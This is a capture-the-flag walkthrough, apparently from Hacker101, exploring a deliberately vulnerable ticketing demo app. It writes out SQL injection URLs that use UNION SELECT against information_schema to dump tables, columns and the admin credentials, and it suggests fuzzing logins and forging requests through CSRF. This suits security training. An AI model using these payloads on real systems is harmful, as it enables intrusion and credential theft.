This is the first half decent looking app I've encountered this whole CTF!
Immediately I'm prompted with a little modal:
Feeling up to a challenge?
Can you find all of the XSS on this page? Use a keen eye and see if you can discover the following types of XSS:
5 Reflective Cross Site Scripting
3 Stored Cross Site Scripting
2 DOM-Based Cross Site Scripting
1 CSP-Bypass Cross Site Scripting
1 use of XSS to leak "something"
Good luck! - zseano & HackerOne
Looks like this is the number of each type I'm trying to find. Great, how about a little scoreboard with ◯ and ⊙:
Reflective Cross Site Scripting: ◯ ◯ ◯ ◯ ◯
Stored Cross Site Scripting: ◯ ◯ ◯
DOM-Based Cross Site Scripting: ◯ ◯
CSP-Bypass Cross Site Scripting: ◯
Use of XSS to leak "something": ◯
Before you choose to purchase Ticketastic for your organization, feel free to give this demo instance a try. All functionality is exposed, simply log in with admin/admin. If you have any problems, put in a ticket on our official instance -- only the knowledgebase bot looks at the tickets submitted here.
The product info is really interesting... "only the knowledgebase bot looks at the tickets submitted here." What does this knowledgebase bot do exactly?
Submitting a ticket is a simple HTML form without any immediate indications of a vulnerability:
Submit Ticket
The admin login page is also a simple HTML form.
Admin Login
The provided credentials of admin:admin work as advertised on the demo instance:
Granting the following cookie on success session_level7a=eyJ1c2VyIjoiYWRtaW4ifQ.GZKxFg.SxSu4EPyHqoRbRLxpVGnePh9O08.
The system appears to be backed by a database or similar system based on the ticket?id=1 in the href of the link to the example ticket. This could be vulnerable to SQL injection.
There's another form to create a user:
New User
Which strangely uses a GET request instead of a POST. And a list of pending tickets at the bottom of the page:
Example Ticket
This is your ordinary, run of the mill ticket. If any errors occurred during processing -- for instance, if the user gives a bad link -- these will be noted here.
Our Reply
No reply yet
Logging in with an invalid username is very helpful:
Invalid username
Likewise, using an incorrect password is equally informative:
Invalid password
There's an opportunity here to fuzz the production instance with appropriate word lists to find the real admin username and password.
Creating a new user test:test works, and logging in with this username and password appears to grant the same admin access since it's possible to create another user test2:test2 with these credentials.
The test user appears to have a new token session_level7a=eyJ1c2VyIjoidGVzdCJ9.GZKyDw.ibYNb72gFIDeju2mXxK11v_Dgwc. Attempting to navigate to the admin page without this session cookie without this set yields:
What are the chances they don't check the signature? Adding some garbage to the end of the token yields "Not logged in". These are properly signed then. What are the chances they have shared the secret for the admin JWT in the production instance?
Before hopping over to the production instance, let's revisit that ticket id. Is it vulnerable to a SQL injection?
https://*.ctf.hacker101.com/ticket?id=`
Traceback (most recent call last):
File "./main.py", line 78, in ticket
cur.execute('SELECT title, body, reply FROM tickets WHERE id=%s' % request.args['id'])
File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
self.errorhandler(self, exc, value)
File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")
It sure is, and a full stacktrace as well. That's an information goldmine. What's in this database?
https://*.ctf.hacker101.com/ticket?id=1 UNION (SELECT 'tables', GROUP_CONCAT(schema_name, '\n'), '' FROM information_schema.schemata GROUP BY '1') ORDER BY 1 DESC LIMIT 1
https://*.ctf.hacker101.com/ticket?id=1 UNION (SELECT 'tables', GROUP_CONCAT(table_name, '\n'), '' FROM information_schema.tables WHERE table_schema = 'level7' GROUP BY '1') ORDER BY 1 DESC LIMIT 1
tables
tickets
,users
Our Reply
No reply yet
https://*.ctf.hacker101.com/ticket?id=1 UNION (SELECT 'columns', GROUP_CONCAT(column_name, '\n'), '' FROM information_schema.columns WHERE table_name = 'users' GROUP BY '1') ORDER BY 1 LIMIT 1
columns
id
,username
,password
,USER
,CURRENT_CONNECTIONS
,TOTAL_CONNECTIONS
Our Reply
No reply yet
https://*.ctf.hacker101.com/ticket?id=1 UNION SELECT 'username', username, password FROM users ORDER BY 1 DESC LIMIT 1; --
username
admin
Our Reply
admin
Great, it's time to check that JWT re-use across the instances.
Not logged in
Ok, that would have been too easy. This JWT might be crackable, but since they're changing with every user and instance, It would seem the key is random. I'll revisit this idea if nothing else works. The fact that we have a demo instance to work with makes me think it must be some sort of escalation from demo to prod. What about that knowledgebase bot. Could we get it to run something?
What about a CSRF? Can I submit a ticket as simple as this and trust the bot or admin will open it and create my account?